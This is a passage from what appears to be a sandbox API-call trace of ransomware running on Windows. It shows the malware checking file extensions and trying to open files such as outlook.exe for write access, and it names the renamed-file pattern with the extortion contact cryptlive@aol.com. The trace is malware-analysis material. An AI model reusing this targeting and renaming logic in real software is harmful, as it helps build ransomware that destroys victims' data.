Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.084] lstrlenW (lpString=".doc") returned 4 [0131.084] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString=".docx") returned 5 [0131.084] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0131.084] lstrlenW (lpString=".pdf") returned 4 [0131.084] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString=".xls") returned 4 [0131.084] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString=".xlsx") returned 5 [0131.084] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0131.084] lstrlenW (lpString=".ppt") returned 4 [0131.084] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.084] lstrlenW (lpString=".zip") returned 4 [0131.084] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString=".rar") returned 4 [0131.084] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.084] lstrlenW (lpString=".bz2") returned 4 [0131.084] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.084] lstrlenW (lpString=".7z") returned 3 [0131.085] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.085] lstrlenW (lpString=".dbf") returned 4 [0131.085] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.085] lstrlenW (lpString=".1cd") returned 4 [0131.085] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned 85 [0131.085] lstrlenW (lpString=".jpg") returned 4 [0131.085] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.085] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0131.085] lstrlenW (lpString="mxslipstream.exe") returned 16 [0131.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.086] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=78336) returned 1 [0131.086] CloseHandle (hObject=0x314) returned 1 [0131.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe")) returned 0x20 [0131.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\mxslipstream.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.087] lstrlenW (lpString=".doc") returned 4 [0131.087] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.087] lstrlenW (lpString=".docx") returned 5 [0131.087] lstrcmpiW (lpString1=".docx", lpString2="m.exe") returned -1 [0131.087] lstrlenW (lpString=".pdf") returned 4 [0131.087] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.087] lstrlenW (lpString=".xls") returned 4 [0131.087] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.087] lstrlenW (lpString=".xlsx") returned 5 [0131.087] lstrcmpiW (lpString1=".xlsx", lpString2="m.exe") returned -1 [0131.087] lstrlenW (lpString=".ppt") returned 4 [0131.087] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.087] lstrlenW (lpString=".zip") returned 4 [0131.087] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.087] lstrlenW (lpString=".rar") returned 4 [0131.087] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.087] lstrlenW (lpString=".bz2") returned 4 [0131.087] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.087] lstrlenW (lpString=".7z") returned 3 [0131.087] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.087] lstrlenW (lpString=".dbf") returned 4 [0131.087] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.088] lstrlenW (lpString=".1cd") returned 4 [0131.088] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.088] lstrlenW (lpString=".jpg") returned 4 [0131.088] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.088] lstrlenW (lpString=".doc") returned 4 [0131.088] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.088] lstrlenW (lpString=".docx") returned 5 [0131.088] lstrcmpiW (lpString1=".docx", lpString2="m.exe") returned -1 [0131.088] lstrlenW (lpString=".pdf") returned 4 [0131.088] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.088] lstrlenW (lpString=".xls") returned 4 [0131.088] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.088] lstrlenW (lpString=".xlsx") returned 5 [0131.088] lstrcmpiW (lpString1=".xlsx", lpString2="m.exe") returned -1 [0131.088] lstrlenW (lpString=".ppt") returned 4 [0131.088] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.088] lstrlenW (lpString=".zip") returned 4 [0131.088] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.088] lstrlenW (lpString=".rar") returned 4 [0131.088] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.088] lstrlenW (lpString=".bz2") returned 4 [0131.088] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.088] lstrlenW (lpString=".7z") returned 3 [0131.088] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.089] lstrlenW (lpString=".dbf") returned 4 [0131.089] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.089] lstrlenW (lpString=".1cd") returned 4 [0131.089] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0131.089] lstrlenW (lpString=".jpg") returned 4 [0131.089] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.089] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0131.089] lstrlenW (lpString="omnipos.exe") returned 11 [0131.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\omnipos.exe" (normalized: "c:\\program files\\common files\\omnipos.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.090] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=78336) returned 1 [0131.090] CloseHandle (hObject=0x314) returned 1 [0131.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\omnipos.exe" (normalized: "c:\\program files\\common files\\omnipos.exe")) returned 0x20 [0131.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\omnipos.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\omnipos.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\omnipos.exe" (normalized: "c:\\program files\\common files\\omnipos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.090] lstrlenW (lpString=".doc") returned 4 [0131.090] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.091] lstrlenW (lpString=".docx") returned 5 [0131.091] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0131.091] lstrlenW (lpString=".pdf") returned 4 [0131.091] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.091] lstrlenW (lpString=".xls") returned 4 [0131.091] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.091] lstrlenW (lpString=".xlsx") returned 5 [0131.091] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0131.091] lstrlenW (lpString=".ppt") returned 4 [0131.091] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.091] lstrlenW (lpString=".zip") returned 4 [0131.091] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.091] lstrlenW (lpString=".rar") returned 4 [0131.091] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.091] lstrlenW (lpString=".bz2") returned 4 [0131.091] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.091] lstrlenW (lpString=".7z") returned 3 [0131.091] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.091] lstrlenW (lpString=".dbf") returned 4 [0131.091] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.091] lstrlenW (lpString=".1cd") returned 4 [0131.091] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.091] lstrlenW (lpString=".jpg") returned 4 [0131.091] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.092] lstrlenW (lpString=".doc") returned 4 [0131.092] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.092] lstrlenW (lpString=".docx") returned 5 [0131.092] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0131.092] lstrlenW (lpString=".pdf") returned 4 [0131.092] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.092] lstrlenW (lpString=".xls") returned 4 [0131.092] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.092] lstrlenW (lpString=".xlsx") returned 5 [0131.092] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0131.092] lstrlenW (lpString=".ppt") returned 4 [0131.092] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.092] lstrlenW (lpString=".zip") returned 4 [0131.092] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.092] lstrlenW (lpString=".rar") returned 4 [0131.092] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.092] lstrlenW (lpString=".bz2") returned 4 [0131.092] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.092] lstrlenW (lpString=".7z") returned 3 [0131.092] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.093] lstrlenW (lpString=".dbf") returned 4 [0131.093] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.093] lstrlenW (lpString=".1cd") returned 4 [0131.093] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\omnipos.exe") returned 41 [0131.093] lstrlenW (lpString=".jpg") returned 4 [0131.093] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.093] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0131.093] lstrlenW (lpString="outlook.exe") returned 11 [0131.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\outlook.exe" (normalized: "c:\\program files\\common files\\outlook.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.094] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=78336) returned 1 [0131.094] CloseHandle (hObject=0x314) returned 1 [0131.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\outlook.exe" (normalized: "c:\\program files\\common files\\outlook.exe")) returned 0x20 [0131.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\outlook.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\outlook.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\outlook.exe" (normalized: "c:\\program files\\common files\\outlook.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.094] lstrlenW (lpString=".doc") returned 4 [0131.094] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.095] lstrlenW (lpString=".docx") returned 5 [0131.095] lstrcmpiW (lpString1=".docx", lpString2="k.exe") returned -1 [0131.095] lstrlenW (lpString=".pdf") returned 4 [0131.095] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.095] lstrlenW (lpString=".xls") returned 4 [0131.095] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.095] lstrlenW (lpString=".xlsx") returned 5 [0131.095] lstrcmpiW (lpString1=".xlsx", lpString2="k.exe") returned -1 [0131.095] lstrlenW (lpString=".ppt") returned 4 [0131.095] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.095] lstrlenW (lpString=".zip") returned 4 [0131.095] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.095] lstrlenW (lpString=".rar") returned 4 [0131.095] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.095] lstrlenW (lpString=".bz2") returned 4 [0131.095] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.095] lstrlenW (lpString=".7z") returned 3 [0131.095] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.095] lstrlenW (lpString=".dbf") returned 4 [0131.095] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.095] lstrlenW (lpString=".1cd") returned 4 [0131.095] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.095] lstrlenW (lpString=".jpg") returned 4 [0131.095] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.096] lstrlenW (lpString=".doc") returned 4 [0131.096] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.096] lstrlenW (lpString=".docx") returned 5 [0131.096] lstrcmpiW (lpString1=".docx", lpString2="k.exe") returned -1 [0131.096] lstrlenW (lpString=".pdf") returned 4 [0131.096] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.096] lstrlenW (lpString=".xls") returned 4 [0131.096] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.096] lstrlenW (lpString=".xlsx") returned 5 [0131.096] lstrcmpiW (lpString1=".xlsx", lpString2="k.exe") returned -1 [0131.096] lstrlenW (lpString=".ppt") returned 4 [0131.096] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.096] lstrlenW (lpString=".zip") returned 4 [0131.096] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.096] lstrlenW (lpString=".rar") returned 4 [0131.096] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.096] lstrlenW (lpString=".bz2") returned 4 [0131.096] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.096] lstrlenW (lpString=".7z") returned 3 [0131.096] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.096] lstrlenW (lpString=".dbf") returned 4 [0131.096] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.096] lstrlenW (lpString=".1cd") returned 4 [0131.096] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\outlook.exe") returned 41 [0131.096] lstrlenW (lpString=".jpg") returned 4 [0131.097] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.097] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0131.097] lstrlenW (lpString="pidgin.exe") returned 10 [0131.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\pidgin.exe" (normalized: "c:\\program files\\common files\\pidgin.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.097] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=78336) returned 1 [0131.097] CloseHandle (hObject=0x314) returned 1 [0131.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\pidgin.exe" (normalized: "c:\\program files\\common files\\pidgin.exe")) returned 0x20 [0131.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\pidgin.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\pidgin.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\pidgin.exe" (normalized: "c:\\program files\\common files\\pidgin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.098] lstrlenW (lpString=".doc") returned 4 [0131.098] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.098] lstrlenW (lpString=".docx") returned 5 [0131.098] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0131.098] lstrlenW (lpString=".pdf") returned 4 [0131.098] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.098] lstrlenW (lpString=".xls") returned 4 [0131.098] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.098] lstrlenW (lpString=".xlsx") returned 5 [0131.098] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0131.098] lstrlenW (lpString=".ppt") returned 4 [0131.098] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.098] lstrlenW (lpString=".zip") returned 4 [0131.098] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.098] lstrlenW (lpString=".rar") returned 4 [0131.098] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.098] lstrlenW (lpString=".bz2") returned 4 [0131.098] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.098] lstrlenW (lpString=".7z") returned 3 [0131.098] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.098] lstrlenW (lpString=".dbf") returned 4 [0131.099] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.099] lstrlenW (lpString=".1cd") returned 4 [0131.099] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.099] lstrlenW (lpString=".jpg") returned 4 [0131.099] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.099] lstrlenW (lpString=".doc") returned 4 [0131.099] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.099] lstrlenW (lpString=".docx") returned 5 [0131.099] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0131.099] lstrlenW (lpString=".pdf") returned 4 [0131.099] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.099] lstrlenW (lpString=".xls") returned 4 [0131.099] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.099] lstrlenW (lpString=".xlsx") returned 5 [0131.099] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0131.099] lstrlenW (lpString=".ppt") returned 4 [0131.099] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.099] lstrlenW (lpString=".zip") returned 4 [0131.099] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.099] lstrlenW (lpString=".rar") returned 4 [0131.099] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.099] lstrlenW (lpString=".bz2") returned 4 [0131.099] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.099] lstrlenW (lpString=".7z") returned 3 [0131.099] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.100] lstrlenW (lpString=".dbf") returned 4 [0131.100] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.100] lstrlenW (lpString=".1cd") returned 4 [0131.100] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\pidgin.exe") returned 40 [0131.100] lstrlenW (lpString=".jpg") returned 4 [0131.100] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.100] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0131.100] lstrlenW (lpString="MSTTSFrontendENU.dll") returned 20 [0131.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.166] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=373760) returned 1 [0131.166] CloseHandle (hObject=0x314) returned 1 [0131.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll")) returned 0x20 [0131.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsfrontendenu.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned 86 [0131.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned 86 [0131.167] lstrlenW (lpString=".doc") returned 4 [0131.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.167] lstrlenW (lpString=".docx") returned 5 [0131.167] lstrcmpiW (lpString1=".docx", lpString2="U.dll") returned -1 [0131.167] lstrlenW (lpString=".pdf") returned 4 [0131.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.167] lstrlenW (lpString=".xls") returned 4 [0131.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.167] lstrlenW (lpString=".xlsx") returned 5 [0131.167] lstrcmpiW (lpString1=".xlsx", lpString2="U.dll") returned -1 [0131.167] lstrlenW (lpString=".ppt") returned 4 [0131.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned 86 [0131.167] lstrlenW (lpString=".zip") returned 4 [0131.167] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.167] lstrlenW (lpString=".rar") returned 4 [0131.167] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.167] lstrlenW (lpString=".bz2") returned 4 [0131.167] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.167] lstrlenW (lpString=".7z") returned 3 [0131.167] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned 86 [0131.167] lstrlenW (lpString=".dbf") returned 4 [0131.167] 